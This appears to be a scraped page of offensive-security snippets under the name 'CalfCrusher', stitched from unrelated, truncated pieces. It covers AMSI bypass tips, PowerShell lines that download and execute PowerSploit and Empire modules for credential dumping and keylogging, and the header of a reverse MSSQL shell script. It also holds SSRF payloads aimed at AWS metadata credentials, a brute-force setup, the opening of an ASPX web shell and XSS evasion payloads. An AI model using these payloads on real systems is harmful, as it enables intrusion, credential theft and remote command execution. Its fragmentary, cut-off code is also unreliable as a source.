CalfCrusher

AMSI Bypass

To perform all this techniques you can simply try them by typing "Invoke-Mimikatz" into your powershell terminal, you'll notice that even if you haven't imported Mimikatz it will detect that as malicious. But if the AMSI is off or you avoid it, it just will say that "it's not recognized as the name of a cmdlet", so you could say that you've bypassed the AMSI

However some methods may be detected by the AV but most of them actually work without problem

Powershell downgrade

The first and worst way to bypass AMSI is downgrading powershell version to 2.0.

CalfCrusher

#IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/Get-System.ps1');

#IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Invoke-Inveigh.ps1')

#"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Out-Minidump.ps1')

#IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-VaultCredential.ps1'); Get-VaultCredential

#IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1')

CalfCrusher

import sys
import requests
import threading
import HTMLParser
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

'''
Description: Reverse MSSQL shell through xp_cmdshell + certutil for exfiltration
Author: @xassiz
'''

CalfCrusher

## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]

## AWS 
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]

CalfCrusher

Hashcat Example hashes

Unless otherwise noted, the password for all example hashes is hashcat

Hash-Mode	Hash-Name	Example
0	MD5	8743b52063cd84097a65d1633f5c74f5
10	md5($pass.$salt)	01dfae6e5d4d90d9892622325959afbe:7050461

CalfCrusher

## Extract session and csrf using cURL, run Hydra/Patator bruteforce over Burpsuite proxy w/ rewritting macros
# @author intrd - http://dann.com.br/ (thx to g0tmi1k)
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/

## Burp csrf-rewritting macro
- Session handling rules = new macro, tick Tolerate URL mismatch when matching parameters..
  Create a macro rule over method GET, extract custom parameter w/ parameter name = _csrf 
  and extract start after expression value=" and end at delimiter ", configure scope for domain and enable for Proxy, 
  Open session tracker to test. (on Intruder bruteforce, u need to untick Make unmodified baseline request).
- Proxy options = Enable Cookie jar for proxy, if not working, enable invisible proxing 

CalfCrusher

Kali Headless Mode Configuration

Disabling the GUI/X/Head

systemctl set-default multi-user.target
systemctl get-default # shows new default mode
reboot

CalfCrusher

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">

void Page_Load(object sender, EventArgs e){
}

string ExcuteCmd(string arg){
	ProcessStartInfo psi = new ProcessStartInfo();

CalfCrusher

<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>        
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>

CalfCrusher